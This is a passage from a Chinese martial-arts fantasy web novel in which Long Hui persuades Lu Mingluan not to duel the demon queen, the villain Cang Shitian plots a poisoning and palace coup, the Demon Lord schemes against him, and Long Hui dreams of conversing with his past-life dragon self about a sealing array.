鹭眀鸾抹了抹潇潇的脑袋,柔声道:「潇潇,她是你姐姐。」
这么多年来,她所知道的称呼也无外乎那么几个,叫得最多的还是师父,对于姐姐二字,潇潇是一脸茫然和不解,歪着脑袋问道:「师父,姐姐究竟是干嘛的?」
鹭眀鸾笑道:「姐姐就是陪你玩耍,吃饭的好伙伴。师父没空陪你的时候,姐姐就会陪你玩。」
潇潇闻言,欢快地跃起来拍手笑道:「好啊,姐姐是好东西,我要姐姐!」
说罢便拖着巨蟒跑到涟漪跟前,踮起脚尖娇声道:「姐姐,跟我去玩钓鲨鱼好不好?」
望着那张娇俏天真的小脸,涟漪心中一阵恍惚,暗忖道:「潇潇对鹭眀鸾如此言听计从,一定是被迷了心智,我要把潇潇的心引回来,救她脱离苦海!」
想到这里,涟漪笑着点了点头,潇潇欢快地拉着她的手朝地下水池跑去,一路上发出欢快的笑声。
鹭眀鸾望着姐妹两远去背影,微微浅笑,龙辉蹙眉道:「涟漪似乎心中还有芥蒂。」
鹭眀鸾摇头道:「无只要能让她们姐妹相认,涟漪再恨我也无所谓。」
龙辉一时无语,鹭眀鸾凝视着他,展颜笑道:「对了,龙辉你今天来找我有什么事?」
龙辉道:「明鸾,你跟妖后的赌约能不能先缓一缓?」
鹭眀鸾奇道:「为何?」
龙辉道:「我刚探知妖后猜的武状元和文状元分别是岳彪和薛乐。」
鹭眀鸾微微一愣,苦笑道:「原来是这样,我跟她打了个平手,看来还是得武定生死了。」
龙辉急忙握住她素手,说道:「明鸾,你不是妖后的对手,不要打好不好!」鹭眀鸾心头一热,霞生玉颊,美眸迷离地道:「你……担心我,是吗?」
龙辉点了点头,心里暗自补了一句也担心你师姐,鹭眀鸾眸中倏地荡开了一片春水,贝齿触唇,低声道:「你关心我,我很喜欢。」
龙辉心中柔情暗涌,恨不得将她搂在怀里,细细疼惜一番。
鹭眀鸾面色忽然变冷,淡淡地道:「可惜洛清妍不会就此放过我的!」
龙辉道:「明鸾,如今帝都的形势瞬息万变,妖后也无暇顾及他人,只要你不去惹她,她也不会找你麻烦。」
鹭眀鸾冷笑道:「若等她处理完手头事,我岂不是要遭殃了?与其给时间她缓气,倒不如直接放手一搏,说不定还能趁着她心烦意乱的机会讨些好处。」
龙辉猛地一咬牙,双手紧紧扣住她藕臂,两眼直勾勾地看着那双明媚的眸子,一字一句地道:「若是她把心一横,不理外界局势,专注比武,明鸾你又当如何?你听我一句,不要去挑战妖后,就当我求你了,我不想你出事!」
一句我求你,再配上急切和关怀的语气,鹭眀鸾身子一片烘暖,芳心蓦然一软,媚眼似有波纹翻动,嗯了一声点头答应下来。
鹭眀鸾道:「龙辉,既然帝都风云万变,你有什么打算吗?」
龙辉叹道:「现在我也说不准,哎,等过了这祭祖大典再作打算。」
鹭眀鸾蹙眉道:「我觉得这祭祖大典极不寻常,你千万要小心。」
龙辉点了点头,心里总算好受了点,起码这鸾凤双姝暂时不会再起战云,可以集中精力面对这未知的危机。
深夜之中,万籁俱静,玉京以西三十里处的荒山上,阴风吹卷,邪气暗涌,在山野最深处有一座茅草屋,只见一道矫健的身影乘风而来,闪电般没入茅屋之内。
那人走到屋角一侧,俯身掀开一块木板,露出一道暗门,他想也不想就钻了下去。
密道之下乃是一处宽敞的暗室,四周点着火把,两排椅子分别整齐地排列着,左手侧有六张椅子,每张椅子背后写着字,分别是天、地、人、修罗、饿鬼、畜生;右手侧列着八张椅子,同样写着不同的字:天、龙、夜叉、乾闼婆、阿修罗、迦楼罗、紧那罗、摩睺迦也——正是六道八部之席位。
十四个座位中只有两人入座,其余席位尽数悬空,这两人分别是地戾与乾闼婆,在六道八部之上便是昊天教的三个主位,正中尊位坐着邪神沧释天,他左右两侧的席位也是悬空。
沧释天望着进来的人,笑道:「释海,你回来了,快快入座吧!」
那人正是邪神胞弟,昊天教副教主沧释海。
沧释海拱手行了个礼,径直走到沧释天左侧的席位坐下,说道:「兄长,小弟已说服西域元帅张焕雨。」
沧释天笑道:「哦,释海你是如何说服这个老顽固的?」
沧释海道:「小弟说帝都即将遭逢惨变,不轨之徒即将篡夺皇位,请他早日准备,以待入京勤王!」
沧释天甚是满意,颔首点头道:「很好,如今释海你已是西域精锐虎豹营的统领,你说的话张焕雨焉能不信?」
沧释海笑道:「小弟能做这个统领也是大哥鼎力支持,当年若非大哥将双天派到我身边,怎会有小弟今日之风光。」
沧释天点了点头,说道:「掌控了虎豹营就等同于掌控了西域军权,为兄说什么都会倾尽全力助你一臂之力!」
沧释海笑了笑,又问道:「大哥,听说大嫂那边出了些问题,不知严不严重?」
沧释天道:「先是捉到虞花,再到鬼冥牙在明锒宫作怪一番,原本可以顺理成章地将白淑妃一案捧出台面,谁料鬼冥牙那厮贪多恋战,让龙辉那小畜生给逮了个正着,接下来又是妖族那小贱人逼得圣母提前解除功力,如今徒增了变数!」沧释海蹙眉道:「鬼冥牙咎由自取也就算了,如今大嫂恢复原本功力,只怕会瞒不住皇甫武吉……」
沧释天道:「人无双和摩睺迦入狱之事,从某种程度上也转移皇甫武吉的注意力。」
沧释海道:「但皇室祭祖大典即将到来,所有皇室成员都得出席,只怕大嫂的处境会更加不妙!」
沧释天摆手道:「无妨!本座会让皇甫武吉应接不暇的,如今也是时候让虞花露面了!」
沧释海蹙眉道:「大嫂现在不方便出面,这要想让虞花面圣可不简单。」
沧释天嘿嘿一笑:「此事自然会有人代劳。太子一位悬空已久,不能再拖,皇甫武吉一定会在大典之前册立太子,以便大典之日向祖宗呈报此事!这个时候,宋王跟萧元妃一定不会沉默,我们倒不如卖个顺水人情给他们母子,给周皇后和齐王当头一棒!」
沧释海道:「区区一个虞花还不足以指证周皇后。」
沧释天道:「我只要拖住皇甫武吉的脚步,扰乱宫廷视线,以便能够一锤定音!」
沧释海觉得有理,又问道:「兄长,西域方面已经没问题了,只要您登上九五,便会全力拥戴!但这要登位却是有些困难,不知兄长有何定计?」
沧释天说道:「我已经想好了,在祭祖那一天,所有皇室成员都得在卯时之前到达祖宗陵山,而皇甫武吉则需在皇宫内沐浴更衣,焚香静心,到了午时他才会出现在陵上。从卯时到午时这段时间,便是皇甫武吉归西之时。只要午时一过,为兄便会以皇上有难的借口,率领众皇亲赶回皇宫,届时释海你便率虎豹营精锐以护驾之名攻打皇宫。」
沧释海道:「以白妃冤案声东击西,借刀杀人,重创齐王和周皇后,之后再一锤定音,兄长果然好计策,只是还有一个宋王在,对于兄长你登基甚是妨碍……」
沧释天冷笑道:「宋王那小子不过是个道貌岸然的伪君子罢了,对外号称贤王文士,暗里却同萧元妃行那肮脏之事,只要找个时机将他们母子的丑事捅出去,你说宋王跟萧元妃还能活命吗?」
沧释海拍手笑道:「妙哉,皇甫武吉驾崩,四个最优秀的皇子先后丧命,大哥便是九五之尊了!」
沧释天哈哈笑道:「为兄苦心经营这么多年就是为了今日,待我荣登大宝,先将魔妖煞儒道佛尽数铲除,之后便挥戈征讨,开疆扩土!」
沧释海又想到了一些隐患,又道:「大哥计划周全,不知现在我们该如何对付三教三族?」
沧释天道:「前些日子,我已经命地戾将那口古剑丢了出去,够魔界和天剑谷忙活一阵了。儒门浩气台也被为兄一把火给烧了,那些酸儒现在也是乱成一锅粥。道门教主新立,百废待兴,想来也无暇顾及京师之事;佛门孤掌难鸣,不足畏惧,而煞域精英尽损,也难有作为,至于妖族嘛……」
沧释天眼神倏然一敛,冷声道:「就让这些妖类跟姓龙的小子背个弑君罪名吧!」
沧释海恍然大悟,说道:「原来大哥当日不揭穿龙辉与妖族的关系,就是为了今天!」
沧释天笑道:「不错。这天下其实就是一个棋盘,众生便是棋子,一个真正的棋手并不是一味的取得胜利,而是知道自己该在什么时候取得胜利。当初我在失去一半财富后,立即揭穿龙辉跟妖族合作的事,固然可以借皇甫武吉的手出口恶气,但仅仅伤及他一个,对于妖族是毫发无伤。但我若在杀掉皇甫武吉后,再揭穿此事,天下都会认为是龙辉勾结妖族谋害皇帝,不但可以除掉了个大敌,还能以替皇上报仇的名义拉拢仇白飞,收纳江南的兵力!」
沧释海赞道:「西域、江南兵力统合,再加上京师御林军,足有七十多万大军,再加上大哥是以皇甫一族的身份登基,可谓名正言顺!届时剿灭三族三教、龙家小鬼还有天剑谷不过弹指间,到时候定能四海归心,君临天下!」
他忽然又改口道:「不对,是小弟口误,应该称皇上才是!」
沧释天心情大好,点头笑道:「皇上?这个称呼——朕爱听!」
地戾和乾闼婆立即跪倒,高呼皇上万岁。
沧释天朗声笑了几声,说道:「众卿家平身!」
两人这才站了起来,乾闼婆拱手道:「回禀皇上,微臣已经配好混毒之药,只待皇上一声令下,定让皇甫武吉归西!」
沧释天颔首赞道:「做得好,待大业一成,朕定当重赏!」
地戾也道:「陛下,皇甫瑶始终是个隐患,不如让微臣将她除掉。」
沧释天摆摆手道:「皇甫瑶若在此时丧命恐怕会引起皇甫武吉的注意,只有等皇甫武吉归西之后才能杀她。这段时间,你就到夏王府监视这丫头的行踪,待时机一到,立即斩草除根!」
说罢吩咐他们两人先行退下,然后有拿出一张纸卷,说道:「释海,你且过来瞧瞧,这便是御林军驻扎营地分布图。」
沧释海仔细端详了片刻,说道:「兄长,有了这张图,再配合你昔日打造的三条水道,就算皇甫武吉逃过乾达婆的毒药,小弟也能率军直捣黄龙。」
沧释天道:「率军逼宫乃是下策,不到万不得已不要出此一着,为兄要名正言顺地登上大宝,能兵变就不要兵变,免得到时打烂这些坛坛罐罐,还得花费人力物力来修复。」
沧释海道:「小弟明白。」
沧释天笑道:「释海,你这些年在西域也辛苦了,若不是你那姓张的哪能成为大恒名帅,他的军功有一半都是你的杰作。」
沧释海道:「兄长过奖了,小弟还差得远哩。」
沧释天笑道:「好了,释海,你便不要谦虚了,他日为兄登上大宝,便封你为天下兵马大元帅,替我沧家皇朝开疆拓土,立不世军功。」
沧释海心头一喜,急忙拱手答谢。
沧释天止住他道:「咱们兄弟还需闹这客套吗?我今日着你前来,还是有些事情要同你商议的。」
沧释海道:「兄长请讲。」
沧释天说道:「我拟定了一份日后的计划,待我们成功夺位后,便要施行的一些措施。第一,你要以最快的速度将虎豹营拉入京师,镇压那些不安分子,然后为兄在以摄政王身份安抚人心,收拢百官;第二,齐王和宋王决不能留,用尽一切手段除去此两子;第三,软硬兼施,逼皇甫武吉剩余的儿子联名推举为兄登基称帝;给姓龙的小子安上一个勾结妖孽弑君的罪名,打着替先帝报仇的名号讨伐逆贼,藉此机会收拢兵权,先是白愁飞的江南军,再到铁如山的北疆军,之后便是崔家的辽东军,再加上西域军和御林军,神州东南西北中这五路大军便会逐一落入我们手中。军权在手,在用些手段控制内阁,到时候才算君临天下!」
沧释海赞道:「小弟只懂带兵打仗,说起这运筹帷幄,远不及兄长万分之一。」
顿了顿,他有些忧心地道:「兄长,情恕小弟多嘴,若夺位失败呢?」
沧释天脸色一沉,冷然道:「若是失败,你便率领虎豹营回转西域,以最短时间杀掉张焕雨,控制西域军,并联合西域诸国划地为王!」
沧释海道:「兄长放心,划分西域称王不成问题。这些年来,小弟在西域征讨过程中,明面上已经跟诸国君主打好关系,暗地里又命人以朝廷的名号强征杂税,欺男霸女,这些国主心里已经恨透这朝廷,反倒与我们亲近,就算让他们现在打来玉京也只不过是兄长的一句话罢了。」
沧释天叹了一声道:「划地称王始终名不正言不顺,要面对的困难和压力都是难以想象……哎,还望我沧家列祖列宗保佑,助我成就大业!」
随着晋王英年早逝的消息传开,晋王府已经成了一片荒院,虽然时常有人进来打扫,但始终难掩萧条之气。
王府偏僻的小屋里,隐约看见人影闪动。
屋内,端木罹戈将一口古剑捧了过去,恭敬地道:「父尊,古剑到手了。」
坐在对面的魔尊将剑接过来,扫了一眼,说道:「四剑得其二,应该可以推断出万魔原石的下落了!」
端木罹戈道:「父尊请放心,孩儿立即画出地图,带人找回万魔原石,修复魔界地脉。」
魔尊摆摆手道:「此事也不急于一事,若我们此刻动身寻找魔石,只怕会引来天剑谷的攻击,得不偿失。」
端木罹戈似有所悟,蹙眉道:「父尊,您的意思是……」
魔尊随手便将古剑搁到一侧,淡淡地道:「罹戈,你先回魔界,与四大魔君加强练兵,打造武器,囤积粮草!」
端木罹戈心领神会,恭敬应答道:「孩儿遵命!」
魔尊道:「还有一事,你回去传我旨意,若与正道发生冲突,尽量保全自身,不许恋战,边打边退,不要在意输赢。」
端木罹戈应了一声是。
瞥了一眼锈剑,魔尊冷笑道:「一口古剑就像让我们跟天剑谷拼个你死我活,沧释天,你的算盘打得可真够响的!」
端木罹戈不解地道:「父尊既然瞧出沧释天的算盘,何不封闭魔界,让群魔保全最大实力?」
魔尊笑道:「沧释天这么想让咱们打冤枉仗,那我便顺顺他心意。伤那么几个人,也好让这位邪神欢喜欢喜。」
端木罹戈蹙眉道:「但孩儿怕这样做会消耗我们的实力。」
魔尊莞尔道:「无妨,损失一点战力,日后定可会换来更多的利益。沧释天他欲行之事虽然气势磅礴,胆魄惊人,但说穿了不过是桃代李僵,鹊巢鸠占的伎俩——假的始终是假的,难成大事!」
端木罹戈心头一动,低声道:「父尊,您的意思莫非是谋而后动,待时机一到就给沧释天来个‘靖国难,清君侧’?」
魔尊笑了笑,说道:「靖国难,清君侧不用我们劳神,龙辉、杨烨以及三教会收拾沧释天的,我们只需坐收渔翁之利之礼,然后做一个辅佐大恒正统的肝胆义士,匡扶先帝嫡系子孙!」
说罢摆了摆手,示意端木罹戈离去。
端木罹戈不放心地道:「父尊,您一人在此孩儿始终不放心,不如也让孩儿留下帮您吧。」
魔尊笑道:「傻小子,为父孤身一人更容易进退,谁会料到为父大摇大摆地坐在晋王府内呢?再说了,现在皇甫武吉跟沧释天斗得正酣,那有空想这些多余的事情。」
端木罹戈应了一声是,便要转身离开,谁知刚走了几步却又听到魔尊叫住他:「罹戈,那瑶映郡主是不是跟晋王感情很好?」
端木罹戈点了点头,说道:「晋王府跟夏王府只有一墙之隔,他们堂兄妹自小便在一块戏耍,感情应该不错。」
魔尊哦了一声,笑眯眯地摆了摆手:「罹戈,你早点回去吧,记得路上小心!」
那语气仿佛就像在叮嘱调皮儿子的慈父,和蔼可亲,叫人如沐春风。
深邃的魔瞳凝望着一墙之隔的王府,嘴角勾出一丝冷酷的笑意:「先是引铁烈入关,扰乱朝纲,再以白妃一案掩人耳目,数十年的布局只为今朝,果然好忍耐好胆魄!可惜了——本尊却比你多算一步,你想桃代李僵,鹊巢鸠占,我偏要给你留两个钉子,叫你龙椅也坐不稳!」
高潮准备来了,天下大权之争就在三大腹黑帝之间展开,呵呵,究竟谁更胜一筹,很快就有揭晓,写到这里,我反而只想发展剧情,肉戏什么的,等结束这段紧张的剧情再写!
说服鹭明鸾后,龙辉回到府邸,却见魏雪芯柳眉凝锁地站在院子里。
龙辉问道:「雪芯,你怎么了,干嘛皱着眉头?」
魏雪芯道:「大哥,翎羽她发起高烧了,还满嘴的胡话,你快去瞧瞧吧。」
龙辉急忙奔进屋里,只见白翎羽双目紧闭,俏脸酡红,檀口细喘,呢喃呓言:「母妃……不要走,不要走……」
随即语气一转,边流泪边骂周皇后和皇甫武吉:「周贱人我要将你碎尸万段!皇甫武吉你这负心汉,你为什么还不死!」
玉无痕坐在床沿替她把脉,林碧柔则用湿毛巾替她敷额擦脸。
龙辉问道:「究竟发生什么事了?刚才我出去一阵子,小羽儿怎么就变成这个样子?」
玉无痕叹道:「白妹妹是仇火悲怒攻心,导致风邪入体,所以才忽然大病。不过不碍事,以白妹妹的根基,睡上一觉就好了。」
林碧柔接口道:「翎羽现在心神不宁,体力虚耗,若不好好理顺气息,有可能会走火入魔,虽然可能性不大,但还得以防万一。」
龙辉说道:「让我来照看她吧,你们先回房休息吧。」
碧玉双姝点了点头,出屋后又轻轻掩上房门。
龙辉叹了一声,脱去鞋袜,躺在床上,伸手将白翎羽抱在怀里,只觉她娇躯滚烫似火,里衣已经被热汗濡湿,身子不断地颤抖,就像是颠沛流离的小野猫在风雨中嗖嗖发抖,可怜兮兮。
至亲死别的滋味龙辉也感受过,心里不禁生出共鸣,眼角缓缓湿润,只是紧紧箍住怀中玉人,静静地陪在她身边。
报仇?隐忍?两个不同的念头不住地在脑海里交织碰撞,却是一直分不出个胜负,龙辉觉得眼皮越来越重,不知不觉地睡了过去。
梦境迷离恍惚间,龙辉发觉自己忽然置身在一片陌生的环境,说是陌生,其实也是熟悉,那是一座阁楼,茶具字画,桌椅花草一一齐全,而窗外却是一片无边的混沌虚空。
这是无涯之崖那片混沌空间,也是玄天真龙的出生之地。
龙辉心中一敛,也不知为何会重回此地。
「你来了?」
对面传来一声温雅轻笑,龙辉不禁抬眼望去,顿时吃了一惊——眼前之人竟是自己。
龙辉暗忖道:「这个梦也做得够怪异的……」
那个自己却笑道:「不是,只不过是自我意识的对话罢了。」
龙辉更是大惊,心里话怎么会给他知道呢?那个自己又笑道:「我就是你,你就是我,咱们根本就是同一个人,哪有自己不知道自己心里话的道理。」
龙辉灵光一闪,说道:「你是玄天真龙?」
那人笑道:「什么叫做你是?难道你不是吗?我和我之间还有差别吗?」
龙辉尴尬一笑:「似乎是这么个道理。」
玄天真龙道:「久违了,转生后的我!」
龙辉也道:「我也没想到,竟然能见到前生的我。」
玄天真龙望着龙辉道:「情意绵绵,亦是历劫千载,这就是是谁的魔考,是我,还是我?」
知道眼前之人就是自己,龙辉早已摈弃惊愕和不解,心灵通畅,眨眼间便明白玄天真龙那听似莫名的话语,这两个我,第一个就是指前生真龙,第二个便是指后世龙辉。
「千载尘封,情海无涯,苦海无边,既是我的魔考,亦是我的魔考。」
龙辉淡淡地道,「我今生不求威震天下,福泽众生,只求身边爱人无忧无虑,可惜却始终难成心愿。」
玄天真龙道:「心愿便在心中,只要我一心守护,无论是尽力而为,她们一定会平平安安,柳儿、黄欢之事绝不会重演!」
龙辉道:「那么请问‘我’,我该如何去面对小羽儿复仇一事?」
玄天真龙笑道:「这个问题不应该问我,而是应该问我之本心。」
龙辉沉思片刻,仍是没有答案。
玄天真龙笑道:「既然无法轻易定夺,何不随其自然?」
龙辉叹道:「也只能这样了,无论小羽儿做什么决定,我都会帮她!」
玄天真龙笑道:「既然早有答案,何须踌蹉?」
龙辉道:「我已经做了最坏的打算——大不了杀出玉京,再不然便解开封神法印!」
玄天真龙摆手道:「破封神不可草率,这封印不简单,一个不好便是万劫不复。」
龙辉蹙眉道:「此话怎解?」
玄天真龙道:「封神法印乃是三教教主设下的惊天阵法,用来限制武者力量,其功效乃是针对修者武脉,使得每个人再出生之后,无论是儒道佛,还是魔妖煞,其武脉都会被莫名玄力压制,就算日后踏入修途,也不复太荒之时的大神通。」
龙辉点头道:「此事我也听洛姐姐讲过,但为何会万劫不复——难道是指修者再度厮杀,引发的各种灾祸?」
玄天真龙摇头道:「众生因私心而起的争斗早就是一种灾祸,我所说的万劫不复并非指这兵燹厄运,而是指修者本身的劫数。」
龙辉不由竖起耳朵,仔细听自己叙说,他知道这一切其实都是自己记忆深处的真相,不会骗人。
玄天真龙说道:「武道原本分为四大境界,分别是后天,先天,天人,破虚。封神法印的存在使得武脉受限,强行被压下了两个境界,也就是说若解开封印,天下武者便会瞬间提升两重境界,也就等于在短时间内修为大大提升,这个时候便是劫数到来。」
说到这里,龙辉忽然明白过来,当武功练到一定程度后,若想再提升除了自身的积累还需历经心魔考验,这个考验也称为生死玄关,若能跨过玄关那便可以更上一层楼,若过不去轻则废功,重则丧命,这其中凶险笔墨难以形容。
若如玄天真龙所言,封印解开,武脉便会破开束缚,修者之境界便会连跳两个境界,也就是相当于经历两次凶险的生死玄关,一个不慎便是功体散尽,根基尽废,形神俱灭。
「也不知天人与破虚是何种境界?」
龙辉好奇地想道,谁知他心念甫动,玄天真龙便生出感应,也许是说自己本体的记忆忽如泉涌,直接把心中疑问给解答出来。
后天者,炼气养身,武脉凝元,摘叶飞花,杀敌百步;先天者,洗髓易筋,心身超俗,凭虚踏步,御风而行;天人者,合身天道,万夫莫敌,不死不灭,轻蔑红尘;破虚者,超脱三界,凌驾六道,傲视寰宇,逆转星辰。
龙辉脑海中立即出现了太荒时期的一些记忆,关于武道四重境的描述,就在他细细品味这几句话的时候,脑海中顿时浮现出太荒高手的风采,只见这些高手翻掌天惊,踏足地动,千军万马在其眼中不过蝼蚁尘埃,不值一提。
此情此景,既让人向外,又叫人担忧,龙辉暗忖道:「若封印解开,后天高手可能就会直接跳到天人境界,别的不说,后天跃先天已经是九死一生了,更别说连跳两级……也不知道有多少武者能通过两次生死玄关。我乃是转世再生,筋骨血脉皆重组,也受到封神法印的限制,在酆都时忽然出现前生神通也不过是元神中遗留的残力罢了,法印解开那天,我同样要经历生死玄关。」
威力越大,死关也就越凶险,且看那昊天圣母积累多年,也不敢轻易冲击先天之境,由此可见这脱胎换骨并非易于。
回报越大,风险也就越大,世上果然没有两全其美之事,龙辉暗叹一声,就在此时,念想倏然回归,前世真龙再度消散,他也醒了过来,耳边传来均匀细微的呼吸声,抬眼望去,只见白翎羽蜷缩在自己怀里海棠春睡,静静地沉睡,修长的睫毛上依稀挂着泪珠,活像一只疲倦的小猫。